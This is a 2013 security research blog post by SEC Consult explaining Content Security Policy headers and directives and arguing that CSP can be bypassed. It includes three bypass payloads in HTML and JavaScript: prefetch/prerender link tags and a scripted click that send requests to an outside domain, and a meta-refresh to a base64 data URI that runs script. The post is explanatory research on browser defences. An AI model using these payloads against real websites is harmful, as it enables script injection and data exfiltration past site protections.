Thursday, July 11, 2013

Content Security Policy (CSP) - Another example on application security and "assumptions vs. reality"

Software applications have been around for quite some time. Since the first security vulnerabilities and corresponding exploits emerged from the back rooms of software development and administration departments in the 80ties it took software vendors more than two decades before they slowly started reacting on the tens of thousands of security defects which have been published in a more or less responsible manner by security researchers and other people stumbling upon them frequently.

The sad story is that instead of addressing the root of the problem which, as we all know, is proper software development engineering methods and application security programs, most of the SW vendors and big players in our industry chose to go a completely alternative path which would take away responsibility from the engineers and developers and introduce additional protective security layers to operating systems, development frameworks, servers, clients and even the applications themselves.

Nowadays we can look at a potpourri of additional security layers for standard applications or web applications, such as stack canaries, NX bits, ASLR and others to prevent so called "buffer overflows". In many, if not all, cases all of these protection mechanisms can be bypassed.

There are "web application firewalls" for a "generic" protection of web applications and database firewalls to protect RDBMS from malicious applications itself.
FAILURE: In many cases WAFs can be bypassed completely.
EXAMPLE: http://blog.sec-consult.com/2012/10/are-web-application-firewalls-useful.html

FAILURE: By implementing an additional security layer such as WAFs the attack surface can even increase if the WAF itself has security weaknesses.
EXAMPLES:

Even on the client-side vendors have made big efforts to protect users from vulnerabilities originating from poorly coded applications.
FAILURE: Most of the common web browsers such as Mozilla Firefox, Google Chrome, Microsoft Internet Explorer and others have introduced "Cross-Site Scripting Filters" to address the issue of web applications which are not being able to validate in- and output correctly.
EXAMPLE: Start your favorite search engine by using the following keyword: “XSS filter bypass”.

CSP is yet another additional layer of security. Implementing CSP can mitigate the risk of content injection vulnerabilities (e.g. XSS attacks) if the web browser supports it.
This article will focus on Content Security Policy (CSP) and how to bypass it!

Current situation


At the moment, CSP header names differ between the web browsers. Consequently, it is essential that the server delivers the policy (including all different headers which are listed below) via an HTTP response header to the user agent.
  • Content-Security-Policy  (Google Chrome)
  • X-Content-Security-Policy (Firefox)
  • X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
However, no matter which header is used, CSP provides the opportunity to specify the policy very precisely because one can define the policy for every single page.


How does it work?

Very briefly, you can describe it as a whitelisting mechanism for resources which are allowed to be loaded and executed by the web browser.
In order to make it all understandable and practical, a short example (only for one CSP header) is given below:
Content-Security-Policy: script-src ‘self’
The policy above consists of only one “directive” (script-src) and one “source” (’self’). Needless to say, there are many other directives such as:
  • connect-src
  • font-src
  • frame-src
  • img-src
  • media-src
  • object-src
  • script-src
  • style-src
Directives that weren’t specified in the policy (e.g. “connect-src”,…) would be able to establish a connection anywhere without restrictions. In order to change this behavior it is possible to specify a “default-src” directive. It defines the default settings for the unspecified directives.

Policy with default directive:
Content-Security-Policy: default-src ‘self’

After this policy has been applied all directives can only load resources from the current origin (no subdomains!).
Apart from ‘self’, three other keywords can be used in the sources list. These are:  ‘none’ (matches nothing), ‘unsafe-inline‘ and 'unsafe-eval'. If possible, ‘unsafe-inline‘ and 'unsafe-eval'  shouldn’t be used for security reasons.



Effects gained due to the usage of “script-src”

By defining the “script-src” directive a number of “features” are disabled by default. These are as follows:
  • Dynamic code evaluation (eval() and related functions)
  • Inline JavaScript won’t be executed (inline <script> blocks as well as inline event handlers).
Consequently you have two options to use JavaScript in combination with CSP. The first and better one is to move all inline JavaScript code from the actual web site and place it in separate files.
However, it must be said that this will take a lot of time and effort for an existing web site. Just activating CSP on an existing web site will almost certainly render it unusable. The other option is to allow inline script by using ‘unsafe-inline‘.

For further information please see the Content Security Policy standard:
https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html


How to bypass it

For example, company “XYZ” offers a corporate web site (“https://xyz.xx”) which provides, among others an input form. One of “XYZ” objectives is to orient itself to the latest technology. As a result the company decided to develop and implement their own CSP:
Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://src.xyz.xx; connect-src ‘self’ https://conn.xyz.xx

If a client sends a HTTP request to the website “https://xyz.xx” the HTTP response header contains the CSP which will be applied on the client-side.
The company believes to be secure because by using the “connect-src” directive, connections should only be opened to the trusted source (‘self’ and to “https://conn.xyz.xx”) which means that it should limit the connection to the current origin and the one subdomain.
As already mentioned at the beginning of this entry, additional protective security layers such as WAFs, ASLR, … can be bypassed by investing enough time and effort. This is also true for CSP by being able to submit one of those strings listed below. It is very likely that future research will result in further CSP bypass attacks.

Bypass 1

Firefox:
<link id=1 rel="prefetch" href="http://completely_other_domain.sec-consult.com/data?data">
Google Chrome:
<link id=1 rel="prerender" href="http://completely_other_domain.sec-consult.com/data?data">
In order to make it better understandable the graphic below shows the course of events.
To see what actually happened by submitting one of those strings it’s advisable to start Wireshark and capture the network traffic. After the correct interface was selected and configured properly, the HTTP request and response as well as the HTTP request to the malicious web server can be seen.
The screenshot below shows point nr. 3 and 4 described in the graphic:

 Below you can see the HTTP request to the malicious web server (point nr. 5).

 

Bypass 2

This example doesn’t violate the Same Origin Policy. However, JavaScript is executed which can be used maliciously (e.g. fake login Trojans).
Firefox:
<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">

In this example the Base64 decoded URL is simply: <script>alert('IhaveYouNow');</script>

 

Bypass 3


For this example the Content Security Policy must also contain “unsafe-inline” in order that the HTTP request is sent to the specified URL automatically.
Succeed in Google Chrome.
<a id="clicfuc" href=" http://completely_other_domain.sec-consult.com/data ">.</a>
<script>
var evt = document.createEvent("MouseEvents");
evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
var cb = document.getElementById("clicfuc");
var canceled = !cb.dispatchEvent(evt);
</script>


Summary

  • CSP is an additional layer of security on the client-side.
  • It is not a replacement for proper validation and escaping of in- and output on the server-side. Never ever trust the user input!
  • It can be bypassed!
Some functionality which is using inline JavaScript is listed below. Those features would also have to be configured for CSP in order to function properly:
  • Analytics (e.g. Google Analytics )
  • Google translate
  • Social media buttons (e.g. Google’s +1 button, Facebook’s Like button)
  • And many more
Defining a policy which is secure and doesn’t limit the usability will take a lot of time and effort. Nowadays inline JavaScript is being used on nearly every web page on the Internet. Resulting from the facts described above, CSP - in its default settings - would make the use of JavaScript as we know it these days nearly impossible.



Browsers used/tested:
  • Mozilla Firefox version 22.0
  • Google Chrome version 28.0
  • Microsoft Internet Explorer version 10.0 (at the moment IE10 only supports the sandbox attribute)
@2013 SEC Consult, Alexander Kolmann